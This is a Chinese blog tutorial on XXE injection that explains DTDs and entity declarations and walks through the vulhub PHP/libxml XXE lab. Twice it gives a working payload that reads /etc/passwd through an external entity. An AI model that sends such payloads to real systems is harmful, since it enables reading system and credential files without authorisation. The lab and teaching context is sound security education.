当前位置:   article > 正文

xxe漏洞浅谈以及复现_xxe漏洞复现

xxe漏洞复现

一、xxe利用部分

<?xml version="1.0" encoding="utf-8"?>     ————>  xml声明
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>  ————>  DTD部分
    <user>
<name>&xxe;</name>
</user>                      ————>  xml部分

我们主要利用DTD中的实体部分

1、什么是DTD呢?

文档定义类型(DTD)1、定义元素(对应下xml中的标签) 2、定义实体(对应xml中内容)

 note.dtd中包含了标签note(根元素)、to、from等

2、两种外部文档说明(DTD)

1、 当引用的DTD文件是本地文件的时候,用SYSTEM标识,并写上”DTD的文件路径”,如下:

    <!DOCTYPE 根元素 SYSTEM "DTD文件路径">

 2、 如果引用的DTD文件是一个公共文件时,采用PUBLIC标识,如下:

    <!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文件的URL">

3、四种实体声明

1.  内部实体声明

<!ENTITY 实体名称 "实体的值">

<!DOCTYPE foo

[ <!ELEMENT foo ANY > <!ENTITY xxe "Thinking">]>

<foo>&xxe;</foo>

2.  外部实体声明

<!ENTITY 实体名称 SYSTEM "URI/URL">

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE copyright
 [ <!ENTITY test SYSTEM "http://www.runoob.com/entities.dtd">]>
 <reset> 
<login>&test;</login> 
<secret>login</secret> 
</reset>

上述两种均为引用实体,主要在XML文档中被应用,引用方式:&实体名称; 末尾要带上分号,这个引用将直接转变成实体内容。

3.  参数实体声明

<!ENTITY % 实体名称 "实体的值"> 

<!ENTITY % 实体名称 SYSTEM "URI/URL">

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE copyright [ <!ENTITY % body SYSTEM "http://www.runoob.com/entities.dtd" > <!ENTITY xxe "%body;"> ]>

<reset>

<secret>login</secret>

</reset>

参数实体,被DTD文件自身使用 ,引用方式为:%实体名称。和通用实体一样,参数实体也可以外部引用。

允许包含外部实体,就可能存在XXE 攻击。

外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:

  

4.  公共实体声明

<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

上述如果我们可以将恶意代码放入自定实体中(entities.dtd)

二、复现vulhub中xxe漏​​​​洞

查看libxml版本为2.8.0

 Web目录为./www,其中包含4个文件:

$ tree .
.
├── dom.php # 示例:使用DOMDocument解析body
├── index.php
├── SimpleXMLElement.php # 示例:使用SimpleXMLElement类解析body
└── simplexml_load_string.php # 示例:使用simplexml_load_string函数解析body

dom.phpSimpleXMLElement.phpsimplexml_load_string.php均可触发XXE漏洞,具体输出点请阅读这三个文件的代码。

利用payload

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE xxe [
  3. <!ELEMENT name ANY >
  4. <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
  5. <root>
  6. <name>&xxe;</name>
  7. </root>

 

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/菜鸟追梦旅行/article/detail/713919
推荐阅读
相关标签
  

闽ICP备14008679号